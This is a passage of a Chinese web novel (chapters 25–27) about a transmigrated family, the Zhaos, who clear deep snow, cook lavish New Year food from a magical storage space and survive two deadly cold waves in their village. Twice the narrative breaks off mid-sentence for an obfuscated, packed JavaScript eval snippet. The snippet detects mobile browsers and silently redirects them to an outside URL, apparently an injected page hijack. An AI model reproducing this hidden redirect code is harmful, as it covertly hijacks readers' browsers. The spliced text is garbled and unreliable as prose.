第三日一早,宁爸将小院锁好,隔着院墙将钥匙丢进去,带着乔装打扮好的宁宁,一起往城外走。 他们离开岭北府的当晚,月黑风高之际,三个鬼鬼祟祟的人准备翻墙进院子,看到大门上的门锁,领头的小贼一惊,气急败坏地翻进院子搜了一通,院子里什么都没有。 因为走得快而躲过一劫的宁宁两个,已经踏上了返程的路。 返程路上他们两个租了一辆马车,赵宁宁把爬爬垫铺在车厢底下,上面铺上被子,被子里塞着手炉,一路暖暖和和平平安安地返回丰宁县。 王李村。 迎着风雪,宁妈站在院门口不住地往外看。 赵启担忧她会冻着,回屋拿了一件斗篷让她披上。 “小启真贴心。”宁妈接过,披在身上,顿时暖和不少,她仍往外张望,“该回来了呀……” “今天雪那么大,他们说不准会住在县城。”赵启劝道:“要不你先回去,我们俩轮流看着?” “不用了,就这一会儿,这个点他们不回来,今天应该就不会回村了。” 眼见天色越来越暗,原本灰黄的天空变得暗红,宁妈想着或许是路上风雪大,他们两个耽搁行程,得再过两日才能赶回来。 扯着披风,宁妈正想把门关上回屋时,村里的小道上,白茫茫一片出现了两个移动的小黑点。 “娘……娘!” 顶着风雪,一张嘴便是一口寒风混着雪粒往嘴里灌,赵宁宁连话都说不囫囵。 “宁宁!?”宁妈把掩上的院门打开,快步迎过去,父女俩头上带着皮帽子,身上裹得严严实实的,只有一张脸被风吹得通红。 快跑几步回到院子里,赵宁宁和宁爸这才松了口气。 堂屋的火盆烧得很旺,宁妈直接把人赶去堂屋,赵启回厨房端热水,两人把沾了雪的皮帽子、围脖儿、大衣脱下来抖抖,洗过脸,喝了热水,缓了一会,宁妈这才放下心。 第25章 雪灾 第二日一早,赵宁宁从温暖的空间里爬起来,穿好棉衣刚出空间便被一股子寒气给挡得往后退了几步。 她立刻搓搓胳膊,冻得抖了几下,实在是受不住,选择回空间,把她放在空间里的狐皮大衣给穿上。 再出空间时,赵宁宁才觉得好一些,她伸手拉开房门,不曾想,竟然被雪给挡住了去路。 门外白茫茫一片,天空还不断在飘着鹅毛般的大雪,门口的积雪已有半人高,此刻如同一堵矮墙一样拦在门口。 “妹妹?”赵启的声音从院里传来,“你怎么醒这么早?” “古代又没有手机玩,只能早点睡觉嘛……”赵宁宁说:“哥,你那边也被堵着了吗?” “嗯……”赵启说:“你等我一会,我正在清雪。” 赵宁宁先把门关上,不一会,门外铲雪的动静越来越近,赵启用夏日里翻晒谷子的木铲在两间房子的边上铲出一条路来。 见宁宁穿得厚厚的,赵启叮嘱她让她先在屋里待一会,他把厨房那条路铲出来,再一起去厨房。 赵宁宁哪能干等着?这次去府城买的铁器里也有铲子,她拿出一个,铁铲的木柄比她要高出半个身子,她用不动这个,丢给赵启,把木铲问他要过来。 兄妹俩一起往厨房铲。 在丰宁县卖了冰激凌和冰粉籽方子之后,宁妈变着法地给全家补身子,为了防身还教两个孩子打拳。 赵宁宁刚穿来的时候面黄肌瘦,现在人不但变白了一些,两颊也慢慢有了肉。 最令赵宁宁欣喜的是她长高了!原本只到宁妈手肘的她,现在已经比宁妈的手肘处还高了。 平日里有锻炼,现在铲雪才有力气,赵宁宁吭哧铲了一会,又跟着哥哥去铲通往堂屋的路。 路还没铲通,两个大人也起来了。 宁爸昨晚跟宁妈讲了去府城路上的见闻,宁妈听到赵宁宁智斗歹徒的事,气得直骂宁爸一个大人警惕心还不如小孩。 气了半宿,宁爸哄了半宿,今早这才起晚。 看到院里已经被孩子们给铲出一条路来,宁爸戴上棉花手套,从赵启手里拿走铁铲,他一铲子下去,一大块雪被铲走。 “等一下!”宁妈说:“这雪留给我。” 宁爸停下铲雪的动作看向宁妈,宁妈把手放在雪上,眨眼间,一大片突然雪消失不见。 宁妈的空间是静止的,雪放进去还是原来的样子,她这样几个来回之后,精神有些吃力,好在院子里的雪已经被清理得七七八八了。 赵宁宁直呼羡慕。 她虽然也有“空间”,但是雪一放进去就会开始融化,把整个电梯厅弄得脏兮兮的,后面还要她打扫卫生。 宁妈的空间才是真正意义上的“空间”,它可以凭借自己的意志把空间分割成一小块一小块,用来放东西。也可以控制东西随机出现的位置。 宁妈的空间可以随心拿取。 收东西进空间有必须要接触到物品,唯一的弊端是无法多次进行拿取,宁妈的系统会提示她精力不足,让她休息之后再继续使用。 赵宁宁进出空间则没有这种限制。 只要她想,她可以把她的空间当成一道随意进出的“门”来用。 宁妈清理完院子里的雪,有些力竭,宁爸扶着她回房间休息,然后带着两个孩子去院子里琢磨怎么清理屋顶的积雪。 地上的雪都有半人高,屋顶上的雪也不遑多让,如果不及时把积雪给清理掉,雪层太厚,会把房顶压塌的。 家里没有梯子,周家有。宁爸想着带两个孩子去周家借梯子,顺便看看他们家的情况。 一开院门,三人不仅叹气。 外面的路也被大雪堵着呢。 好在周家离自家不远,赵宁宁折回去把木铲拿出来,跟在爸爸和哥哥的身后,慢慢开路。 他们到的时候周剑正在院子里铲雪,宁宁几人打声招呼,周剑忙把铲子放下,过来打开院门。 手里握着铲子,宁爸和赵启直接帮着铲雪,赵宁宁和何氏一起清理他们没铲干净的地方。 众人拾柴火焰高,不一会儿,周家院子里的雪便被铲到一堆,堆在墙角的菜地上。 何氏站在堂屋门口,喊人过来休息。 宁宁擦擦额头的汗,刚到堂屋坐下,何氏端来了一碗红糖水塞在她手里,赵宁宁没有推辞,小口小口抿着喝了,喝下之后身体熨帖无比,从胃部开始慢慢回热。 “你们什么时候回来的?”何氏轻责:“你娘也不说一声,说一声我好给你们接风洗尘。” “姥姥——”赵宁宁拉长声音,带着撒娇意味。 “咱们一家人,哪用得上这样!”宁宁笑道:“我们昨天傍晚回来的,回来时天都要黑了,就没再过来。我们在府城买了好多石炭。过冬用刚好,待会让舅舅去拿。” “那怎么成。”何氏听说过石炭,那可是有钱人家才会用的,一般人家都买不到,她说:“你们大老远从府城拉点石炭回来不容易,你还小着,晚上不能冻到,你们自己留着用。” “买得多呢!你别管了,待会我娘直接给你送过来,你不要也得收下。”赵宁宁霸气地说完,把空碗搁在桌上。 闲话结束,宁爸对何氏说了到这里的来意,顺便说帮着周剑直接把屋顶的雪扫下来,否则这样下去会把房顶给压塌的。 何氏出门看了看,有些后怕,忙让周剑去拿梯子,几个人一起按着梯子,周剑爬上去用竹竿一赶,另一侧到雪顺着房顶滑落,噗噗地掉在院子里。 赶雪是个力气活,周剑扫了堂屋屋顶上的雪,下梯子的时候,胳膊都有点抬不起来,见状,宁爸把他喊下来,自个上去。 他力气大,一口气扫了两个屋的屋顶,周剑再上去,这样轮流来,屋顶上的雪很快便被扫完。 赵宁宁帮不上房顶的忙,只能去铲院子里的雪,宁爸他们歇了一会,又抡起铲子去铲扫下来的雪。 早点把活干完,家里屋顶的雪还等着他们回去铲呢。 周家院子里的雪清理干净,宁爸把周剑给拐回家干活,何氏嘱咐儿子,等中午的时候把宁宁他们一家人给带家来吃饭。 没等到周剑,却等来了赵宁宁,赵宁宁人小力气小,被派来请何氏回家吃午饭。 何氏拗不住,只能随着小外孙女去。 午饭前,赵宁宁回空间,从冰柜里取出两只鸡、一整块羊排、一块猪里脊,又拿了一块猪肚。 看到另一边冰柜里有冻的预制炸蘑菇,赵宁宁也给取出来。 今天要待客呢,炸蘑菇是小孩菜,家里有一半都是小孩,吃这个刚好。 带着一堆东西,赵宁宁钻出空间。 厨房里,宁妈守着门,见她还拿了一包炸蘑菇,吓了一跳,帮忙把炸蘑菇的包装袋给撕开倒出来,宁妈把塑料袋丢进自己的空间里,拿手指点点赵宁宁的额头。 “你这个小馋猫。” 刚好今天要做大菜,废油,宁妈便随她去了。 趁院子里其他人还在干活,赵宁宁把火烧上,等肉解冻的时候,宁妈把蘑菇先给炸出来,放在一边晾着。 蘑菇刚炸好,院里的雪清理完,宁爸一边拍着身上的雪一边往厨房走。 “哎呀!真冷!” 在门口跺跺脚,宁爸搓搓手,在厨房的洗手盆里用热水洗了手,把备菜的活计接过去。 宁爸动作飞快,把肉洗了,周剑挤进厨房,非要帮忙干活,宁妈只能让出位置,让他帮忙给肉焯水。 赵宁宁烧火的活计也被哥哥给抢走,她无奈地起来,跟宁妈一起去堂屋。 院里干干净净的,宁妈招呼何氏一起去堂屋烤火。 半天没人过去,火盆里只剩炭火,偶尔被风吹到红一下。 往里添了柴,火苗受到火炭的高温炙烤,腾地一下突然燃烧起来。 赵宁宁把手伸过去,来回地烤火,宁妈取出赵宁宁在府城买的瓜子蜜饯,放在火盆旁边的桌上,让何氏抓着吃。 厨房地方小,到炒菜的时候宁妈去帮忙,赵宁宁便在堂屋陪姥姥说话。 不多时,宁爸炒的三道硬菜被宁妈端来堂屋,红烧羊排、椒麻鸡、糖醋里脊一溜排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229750|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,赵宁宁的口水都要流出来。 另一边,宁妈做了白菜木耳豆腐煲,连着事先拌好的酸辣藕丝一起端来。 赵宁宁坐不住,去厨房帮忙盛饭,顺便把炸蘑菇的椒盐给撒上去,端去堂屋。 最后蒸着的蛋羹和猪肚鸡汤一起好的,赵宁宁一边端饭,一边闻厨房里的味道,直呼太香了。 天空仍在飘雪,堂屋里,六个人围在四方桌周边,其乐融融地拿着筷子夹菜吃。 何氏赞了宁爸做的菜,人少肉多,宁妈又一个劲儿地给她夹菜,周氏很快便吃不消,抓着筷子连忙往周剑的碗里转移。 看得赵宁宁乐不可支。 吃过饭,外面的雪依旧没有停止的意思。 何氏提出告辞,宁爸把预先准备好的节礼塞到他们两个手里。 拿着一大个包裹,何氏连连摆手拒绝,宁妈不由分说,直接握着她的手,让她拿着。 “娘!今年冬天怪得很,这是宁宁他们特意给你们买的,你们放心穿!”宁妈说:“我们也有!” 有些时候不乐意要,并非是不想,而是怕人情太重,无法还清。 宁妈说:“还是那句话,还好您救下了宁宁,不然我的眼恐怕是要哭瞎。” “说这话作甚!难道宁宁就不是我的外孙女了吗?”何氏佯装生气,宁妈摇摇她的手,“那你就收下,总不能让我日夜想着这事。” 两人谁都拗不过谁,最后还是赵宁宁,撒娇说这是自己给外婆带的心意,外婆不收下下次外婆送棉帽子她就不要了。 何氏这才收下,心想着回头再给宁宁他们一家人做几个棉手套,左右冬日在家没什么活计。 周剑拿着包裹,宁爸和宁妈帮忙把石炭拉过去一吨。 在府城拢共就买了十吨,店家直接要价一千二百两,宁爸看了半天的价,才以一千一百两的价格拿下。 这石炭耐烧,放家里当是冬日烧炭的添头。 何氏本想着,包裹里顶多是一些棉花被子,没想到到家打开来一看,竟然是皮衣! 除了皮衣,还有皮靴、皮帽子、皮围脖手套,何氏哑然,都不说石炭,这套皮衣拿去丰宁县,那也是少有几户人家能穿得起的。 这人情,太重了。 下午。 里正召集村里各家出一个人去清路上的积雪,宁爸穿戴好棉衣棉帽,提着铲子出去,宁妈倚在门框上看着他的背影,叹了口气。 “你们回来前两天就开始下雪了,我还担心路上的雪会太厚,你们赶不回来。” “还好我们及时回来了,万一昨天晚上在县城过夜,今天可就难回来咯。”赵宁宁抚抚心口,庆幸不已。 等官道和小路上的路被清理出来还不知道要多久,按照宁妈说的,这雪连着下了三天,也不知什么时候才能停。 村里人多,宁爸出去了一个时辰便收工回来,搓着手,他问宁妈家里的炭还有多少。 刚开始下雪的时候家里买过一次木炭,但是不多,只有两百斤,一般留着晚上在房间里烧,烟小暖和,堂屋烧的是柴火,柴火价贱,宁爸和赵宁宁去府城之前,特意给家里拉来了两车,如今还剩四分之一。 宁妈:“木炭还剩五六十斤,柴火不太够了……” “路已经挖通了,咱们要不要去镇上再买一些回来?”宁爸虽然是问句,眼神却肯定地看着宁妈。 冬日里没有木头和炭可不行,宁妈点头。 留赵启在家看家,宁妈和赵宁宁把各自的空间给留出空,去镇上买了木炭,又拉回来三大车柴火,将家里各个房间填得满满的。 宁妈还怕买多,没想到,雪一直在下,温度似乎也更低了。 离过年还有十来天的时候,宁妈早上起来讶然发现,房间里放着的水盆竟然结了一层薄冰。这几天越来越冷,她不得不把宁爸他们在府城买的狐狸皮大被子拿出来盖在棉被上。 日常在院子里时,几个人连手都伸不出来,一伸出来仿佛要被寒风给冻掉一样。 宁爸和周剑每天都要清理一遍自家的房顶和院子。 第26章 寒流? 大雪封路,出行不便。 年还是要过的,越临近年关,村里越是热闹,众人都张罗着割肉过年,有钱的准备趁这几日雪没那么大去镇上稍微割一些,家里没几个铜子儿的,掂量掂量钱袋,也想着去割上半斤好方便供灶王爷。 除了老赵家。 老赵家,几个人哆哆嗦嗦地躲在堂屋里。 钱婆子在大牢里关了三个月,吃又吃不好,时不时还被牢里过路的老鼠吓,一出来又遇到天气降温,刚回家没两天便病了。 赵老头拿着卖粮食的银子,给她请来大夫,花了一两银子才勉强给治好,治好之后钱婆子整个人十分怕冷,整日瑟缩在家,蔫哒哒的。 眼看就要过年,村里各户开始置办起年货,家里迟迟没有动静,几个孩子闹着馋肉,孙氏斗胆带着小儿子凑过去,问道:“娘,快过年了,咱们家什么时候去镇上办点年货?” “办什么年货!”钱婆子不悦,“家里的粮食还不够你们霍霍的?想吃龙肉不成?” 孙氏找了个没脸,悻悻回房,直到没肉吃的小儿子在地上打滚闹腾,孙氏看得生气,直接拉起他一根胳膊,边打边骂: “闹!再闹!我又变不出银子给你买肉!你当是因为谁吃不到肉!” 坐在床头的赵老大连忙去挡,“别打了,孩子有什么错,他不过是看别人家吃肉,不懂事眼馋罢了。” 都十岁了,再不懂事能不懂事到哪去?人家赵老二家的赵启,十岁的时候都帮着下地了! 孙氏也不是真生孩子的气,不过是把刚刚在钱婆子那里受的气撒在孩子身上,被拦住之后,她愤愤坐在一边,“都怪老二一家子,当初就不应该分家,现在好了,家里被折腾得一乱团。” 赵老大默然不语,当初要不是为了文远,打五丫头的主意,家里也不会闹成这样。 以往过年也有吃不上肉的时候,赵老大摸摸儿子的头,想:不吃便不吃吧,娘都这般生气了,孩子理当懂事一些。 虽然嘴上说着不买肉,看村里人喜滋滋地去备年货,钱婆子心里不是滋味得紧。 今年夏天,家里粮食收了之后,她趁南边水灾把粮食给卖了一大半,得来的银子几乎被霍霍了七七八八。若粮价下降,他们家能用差价买到粮食还行,可如今,粮食的价格只见涨,压根没有降价的意思。 钱婆子叹了口气,把屋里的黄梨木箱子挪开,露出墙角挖的洞,把堵着洞口的碎布扯开,拿出里面的钱匣子。 数出五十文,钱婆子把孙氏喊来。 “喏,拿去!”钱婆子斜楞着眼,“赶明儿去镇上割一斤肉。” “哎!”孙氏捧着铜板,小心拿回房收进钱袋子里。 村里人再次结伴去赶集的时候,孙氏揣着钱袋子,跟着去镇上割了半斤肉。 现如今,什么都涨价,临近年关价格更是高到令人咋舌,肉比平时直接贵出一半! 半斤肉拿回家,不出意料地被钱婆子斥责了一通,孙氏低着头回房,不敢和婆婆呛声。 五十文就换来这点肉,钱婆子舍不得吃,给它抹了点盐,挂在火盆上面,日日用烟熏烤着,馋得赵谦日日搬着板凳坐在火盆下面,袄子差点被火燎着都不知。 小年这天,村里没有卖粮的,家家户户都响起了剁肉的声音。 今天过节,钱婆子大发慈悲,准许孙氏把房梁上挂着的肉取下来,切四指宽的肉出来,炒一道菜。 怕孙氏偷吃,钱婆子站在一边看她切完肉,数了数量才走。 孙氏心中悲凉,往常婆婆这样对待老二家的媳妇时,她在一旁看热闹,没想到自己也有被婆婆盯着的时候。 她把肉平铺在案板上,从边缘细细地切下一点出来,炒熟之后,偷偷留下给自己和孩子吃了。 吃完晚饭,众人各自回屋。 赵谦的小嘴还在吧嗒着回味今天吃到的肉,虽然只有两片,“娘——我还想吃肉!” “好,过几天还有肉吃。”孙氏抱着赵谦,摸摸他的脸蛋。 这几个月家里的饭越来越稀,几乎可以照镜子,谦儿的小脸都瘪下去了…… 赵谦一边想着过几天吃肉一定要娘多给他留一些,一边在孙氏的怀里沉沉睡去。 寒风裹着雪花,不断扑打着窗柩。 丑时。 一股寒流悄悄漫过大地,顺着门缝、窗缝涌入屋内。 睡梦中的孙氏一个激灵,从梦里醒来。甫一醒来,她便感觉到自己的脸都冻得僵硬了,孙氏牙齿打颤,艰难地看向一边,睡在她旁边的男人,竟是呼吸都微弱了! 孙氏从被窝里伸出手,手接触到空气的瞬间,如同被针扎一般,她咬牙把巴掌拍在丈夫的脸上,“铁柱!铁柱!” 扇了两巴掌,不知是沉睡还是昏迷的赵铁柱悠悠转醒,感受到夜半的寒气,不禁大吃一惊。 孙氏又去喊怀里的孩子,赵谦被喊了半天,才醒过来,一醒来便难受得想哭。 孙氏把衣服给他穿上,又把被子给孩子裹好。 赵老大已穿好衣服,裹着被子去拉院里的门。 他去了足足有一刻钟才回来。 “怎么样?”孙氏紧张地问。 “还好,爹娘房间燃着火盆,没什么大事。”赵老大把房门关好,一身寒气逼得孙氏往后直接退了几步。 赵铁柱在王李村生活了这么多年,还是第一次遇到这种情况,孙氏又何尝不是?两人也不敢再睡,喊着小儿子也不许睡,三人就这样裹着被子,抱成一团殷切地盼着天明。 另一边,寒流来的时候,赵宁宁第一个感觉到不对。 自打从府城回来之后,她每天晚上都会去玄关打地铺睡觉,虽然身体在空间里,但是空间外发生什么动静都逃不过她千丝万缕的感知。 寒流来时,赵宁宁第一时间察觉到不对,一出空间差点被直接冻麻,她回去把最厚的棉衣套上之后,又去拿皮衣皮帽套上,这才顶着寒流和风雪去看自己的家人。 她反应及时,家里所有屋里燃的又有火盆,被叫醒之后他们两个害怕赵启一个人住不安全,连着宁宁一起留在他们房间内。 宁爸穿好衣服,去烧火炕。 两把柴火填进去,不一会儿,炕上便暖融融的,宁妈已经把多余的被子铺好,招呼赵启挨着宁爸的位置躺下。 赵宁宁从空间里端出一大锅可乐姜水,四人抱着碗,一边暖手一边喝。 “怎么会突然这么冷?”宁妈叹气,“还是半夜,突然来这么一下子,不知道村里情况怎么样。” “应该还好,我半睡半醒的时候直接就被冻醒了,刚想起来,妹妹就来喊我了。”赵启裹着被子,“村里人应该也没事的。” 还好前段时间在家里囤了不少柴火,宁妈计算了一下,这些你柴火整天烧,差不多也够烧两个多月,她这才舒展了眉心。 王李村静静地在寒流中迎来了天亮。 天亮后,里正和村长喊了村里几家汉子,挨家挨户地喊人,最后盘点下来,村里的人都在昨夜寒流中存活下来了。 只是有几个受寒,直接发起高烧来,村里赤脚大夫被喊来喊去,给不少人家都开了祛风寒的药。 周家也安然无恙。 赵宁宁按照宁爸说的,从一堆药草包里翻出一包写着“祛寒”的中药,拎出来让宁爸拿着去煮了给家里人喝下。 这场寒流过后,连日的大雪竟奇迹般地停了,温度似乎也没有那么低,众人都觉得是吉兆,因着临近过年,村里人又没什么事,有些便去补齐了年货,热热闹闹地备起年菜来。 赵宁宁家忙得热火朝天。 宁妈让赵启烧上两个灶,一个准备炸鱼,另一个炸排骨。 让赵宁宁把冰柜里的肉统统拿出来解冻,宁妈取来一袋子之前囤的面粉倒进盆里。 排骨解冻之后,赵宁宁在空间的厨房里用热水洗了,再拿出来让宁爸分割。 剁成小块之后,宁妈往排骨上面抹了盐,加上香叶、花椒、姜片、八角等香料,腌在一旁。 她又去处理鱼。 这些鱼不是宁爸钓的,是宁妈之前买了准备自己做鱼丸的鲈鱼,鲈鱼刺少肉多又大只,宁宁家之前过年也喜欢炸了吃。 鲈鱼收进冰箱之前已经是去好鱼鳞清理好内脏的。宁妈动作利索,抓着鱼鳃的位置,用刀把鱼一分为二,尾巴一切丢到一旁,剩下的身子剁成一块一块的,最后把鱼头切下来丢在一边,等会做鱼头豆腐汤喝。 鱼也腌上之后,宁妈又使唤赵宁宁去空间拿白菜豆腐,那豆腐还是烫火锅囤的冻豆腐,眼下天寒地冻也没别处能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229751|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买,宁妈凑合用,把白菜萝卜洗净切丝烫熟,混着豆腐一起剁碎,捏成一团。 这是菜丸子。 后面又做了肉丸子,连赵宁宁最讨厌的干豆角,都被宁妈裹了一层面糊给炸了炸。 赵宁宁捏了一根刚炸好的吃,比起新鲜豆角,干豆角炸过外脆里韧,别说,味道还挺不错。 从早上一直忙碌到中午,宁妈炖了一锅鱼头豆腐汤,午饭便是各种炸年菜配着汤。几人直接围着灶台吃了,收拾好之后,下午宁妈开始炸一些小菜。 茄盒子、藕盒子、冰柜里压箱底的小黄鱼和带鱼也被赵宁宁翻出来炸了,反正放在空间里也是放着,拿出来吃了空间还能刷新。 赵宁宁厨房里的东西,只要是吃了用了的,就会在第二天刷新,但是如果拿出来没吃也没用——对不住,空间可不会给你更多。 刷新也是有限制的,吃食只要吃掉,第二天就会刷新出来,但是厨房里用的东西,则时间不等。 宁爸卖掉的那套瓷具,在回到丰宁县十来天的时候,才重新刷新出来。 宁妈只能想法子消耗冰柜和冰箱里的食物,拉着宁爸变着法的给两个孩子做着吃,赵宁宁从府城回来这几天,都胖了四斤了。 年菜备好,第二天宁妈又让宁宁把馒头拿出来蒸,储存熟食的冰柜里不但有馒头,还有一袋一袋封好的面条,宁妈拿出一把炸了给赵宁宁吃着玩。 除了馒头,还有奶香小馒头、奶黄包、豆沙包、叉烧包、肉包、米糕。宁妈把每一样都给蒸上,蒸好收进自己的空间,她的空间可以冻结时间,放进去是热的,出来也还是热的。 现在天寒地冻的,她费两天事,后面就不用来厨房做饭了。 蒸完馒头,她让宁宁把冰柜里不方便炸着吃的肉拿出来,五花肉简单分割成大块,猪蹄劈开,一整只鸡、鸭、鹅,全下锅卤了一遍。 冰箱里还有鸡蛋,宁妈让赵宁宁洗净煮一下剥开,也丢进卤汤里卤了一下。 下午的卤肉香味飘得四处都是,村里人闻到羡慕得不行,嘴里的炒肉都不香了。 不知道是谁家这么大手笔,竟然能把肉做得这么香! 卤过肉后,第二天宁妈又做了两锅汤。一锅羊肉汤,一锅酸辣肚丝汤,不想做饭的时候就着卤肉和年菜一吃,舒坦极了。 想着宁宁爱喝甜的,她把锅洗了,单独给宁宁做了一锅糯米圆子汤,里面加的有米酒,喝起来甜丝丝的,不但赵宁宁喜欢,赵启喝了几次之后也要着喝。 过年前的几天,赵宁宁家都是这般忙碌,周家也是。 他们家虽然不像宁宁家的摊子铺的这么大,也做了几盆年菜。如今女儿家跟老赵家分开,何氏不怕老赵家会把她送去的东西抢走,炸好的年菜直接让儿子给宁宁家端了一盆去。 赵宁宁家收下之后,宁妈打发周剑端着一盆卤肉回去,看得何氏心里熨帖无比。 自从分家之后,女儿家是越来越好过了。 大年三十这天。 一早,赵宁宁家就热闹起来,宁爸招呼着赵启去贴对联,喊宁宁给看着歪不歪。 贴好对联之后,一家人去厨房给宁妈打下手,宁妈直接做了十菜一汤。 过年吃,当然要吃花样多一点。宁妈把最后一道甜甜蜜蜜的莲子羹端上桌后,大家才开始动筷。 清蒸鲈鱼、红烧排骨、辣子鸡丁、京酱肉丝、蒜蓉粉丝虾、糯米丸子……还有宁宁最喜欢的年菜,八宝饭。 一动筷子,赵宁宁便伸手用勺子舀了一块放在自己碗里美滋滋地吃起来,宁妈笑她:现在吃糯米饭,小心一会吃不下肉。 赵宁宁丝毫不怕,今天可是要熬年呢!那么晚才睡,足够消化的了! 吃过年夜饭,赵宁宁把碗筷丢进空间的洗碗机里,跟家人一块去炕上熬年。 火炕被烧得热热的,宁爸从箱子里摸出来他找人做的木头扑克牌,一家四口各自占据一个方位,一边吃着瓜子果脯,一边玩着牌。 亥时,赵宁宁顶不住困意,手里捏着牌头一栽一栽,宁爸捂嘴偷笑,宁妈白了他一眼,扶着宁宁躺下,给她掖好被子。 赵宁宁窝在热腾腾的火炕上,安心地挨着宁妈睡去。 是夜,不知什么时辰。 赵宁宁再次从梦中惊醒。 第27章 是寒流! 家人不知何时已经睡下了,屋里只剩一个火盆远远放在墙角,身下的火炕,竟然是凉的?! 赵宁宁打了个哈欠,她从床上爬起来,披上皮袄,趿拉着棉鞋去外面,火炕的灶洞里,只剩下微弱的火星还燃着。 赵宁宁抱来几根柴火,想了想,从空间里摸出两根炭来,先把炭点着丢进去,再把柴火丢进火炕里。 看到火炕烧起来,她才满意地拍拍手,正准备回去时,赵宁宁脸色一变。 借着火盆微弱的光线,她看到,屋里的窗户竟然从边缘开始渗出冰花! 她不敢耽搁,把门关紧,直接回到炕边,警惕地看着窗口。 冰花不断蔓延,下一秒,一股彻骨的寒意,扑面而来! 不好!是寒流! “爸妈!哥哥!快起来!”赵宁宁拍打家人的肩膀,摇醒他们后,再看向窗边,整个窗子都结满了冰,寒流经过,靠着窗边的火盆火势都变得微弱起来。 赵宁宁疾步过去,把火盆拖回炕边,她不敢耽搁,直接往里丢了一把煤,火盆的火光顿时明亮几分。 宁妈他们已经发现不对劲,裹上皮袄之后,宁妈胆战心惊地看着窗子。 冰蓝色的冰花随着骤降的温度,一直向屋内蔓延,即便是裹着被子,赵宁宁也冻得手脸僵硬,只有挨着火炕的腿,才稍微能感知到一些微弱的温度。 随着寒流的蔓延,火炕不知什么时候也熄灭了,这种微弱的感觉消失,取而代之的是刺骨的寒意。 赵宁宁抱着胳膊,把爬爬垫从空间里拿出来,铺在炕上之后,她顿时脸色稍缓一些。 爬爬垫能隔绝温度!虽然还是冷,但要比之前好多了。 眼前的火盆被寒流席卷,只剩下煤炭中央还有细弱的火光,赵宁宁不放心,往里又撒一把细碎的煤炭,靠着这一点暖意,赵宁宁几个在屋里捱着寒意等这波寒流过去。 宁妈把之前做的羊肉汤从空间拿出来,一人一碗捧着,没喝几口,汤直接凉透。 只能作罢。 不知过了多久,赵宁宁觉得像是过了一年一样,外面的天终于亮了起来。 没有太阳,只有天光,即便是这样,他们也觉得,这会似乎好一些、没那么冷了。 火盆里的火苗窜高,赵宁宁把手炉从空间拿出来,往里加了炭,宁爸拿着,去外面把火炕给引着。 一刻钟后,熟悉的温度顺着腿攀升上来,赵宁宁几个终于觉得活了过来。 太冷了! 这次寒流绝不是普通的寒流,这种程度,是天灾没错了! 如果不是宁宁半夜起来,一家人都有可能直接被冻死在这里。 宁妈阵阵后怕。 夏天里的干旱她没有觉得有多严重,此时寒流几乎把家人的命带走,宁妈才意识到,她们全家穿越到的是一个多么危险的古代。 能活动身体之后,宁妈赶紧把热汤拿出来,赵宁宁去打热水,给自家人擦手擦脸。 宁妈嗔怪道:“昨天晚上让你回空间,你不回,外面多冷!” “我能感知危险,我要回去了,万一有什么情况我反应不及时怎么办。”赵宁宁反驳道:“万一你们有个三长两短,我躲空间里倒是安全,但留我一个人在这人不生地不熟的古代,又有什么意思?” 虽然是反驳,话里话外处处却是关心。 宁妈心里熨帖无比,把宁宁搂到怀里,宁妈说:“万一……哪一天真遇到危险,那你也要先保护好自己的性命,知不知道?” 赵宁宁挨着宁妈的胸膛,听到她扑通扑通的心跳,不自觉地点点头。 反正先答应,到时候怎么做再另说。 这时,门外传来敲门的声音。 寒流刚过,是谁会这个时间来敲门?宁爸穿好衣服,到院子里应门。 门外传来周剑的声音。 原来是周家担心这边,特意让他过来的。 这天寒地冻的!宁爸不留他,把手里的手炉塞给他,让他给何氏带信说自己一家都好着。 顺带关心了一下周家昨夜的情况。 周剑说,何氏她们吃过年夜饭,早早便睡下了,何氏觉浅,半夜惊醒发现不对,披着衣服去敲门,两人挨着火盆才安然渡过这波寒流。 外面冷,周剑只简单说了几句便回家,宁爸把院门闩好,跟宁妈说了这事。 不一会,又有村里人来敲门,原来是里正派人来的。 下午,宁爸从旁人口中得知,这次寒流,带走了村里五口人。 其中有一家,是一对年迈的老夫妻,寒流来时,他们互相拥着,在梦乡中直接睡了过去。 还有一个,是村里的二流子,平日里没个正形,整日追鸡撵狗,冬日来时他不去山上捡柴,天天在村里嘻嘻哈哈。上次寒流过去,便有好心村民劝他,他不听,依旧靠着两根柴火度日。 这次寒流,他死在了去拿柴火的院里,据说寒流来时,他披着薄被,直接站在院里被冻成了冰雕。 另外两个,是村里的寡母和她三岁的孩子,孩子被她裹上所有的被子紧紧包在怀里,可依旧没有逃过这波寒流…… 这三家在村里都是没什么亲戚的,里正做主,各自安排了一口薄棺,带着几个村里的壮劳力把他们安置在王李村祠堂里,等冻土化一些,再安排下葬。 …… 老赵家。 赵家虽然没有人死伤,却又好几个都病了。 钱婆子不说,她本来就有病根,上次寒流给她吓得不轻,日夜都燃着火盆,这次寒流直接给她又冻又吓的,吓得她直接高烧不退。 除了她,赵谦也病得不轻,上次寒流他被冻得得了风寒,吃村里赤脚大夫开的药,还没好全,这次又被冻到,风寒加重,混着高烧,病势汹汹。 身体一向强健的孙氏这次也倒下了,家里原本的活计直接落在了老三媳妇身上。 吴氏把碗往孙氏床头重重一放,碗里的水撒出来一些,孙氏艰难地先开眼皮,看到面前稀得像涮锅水一样的“粥”,不禁捂着额头,问:“吴氏,这是今天的饭?” 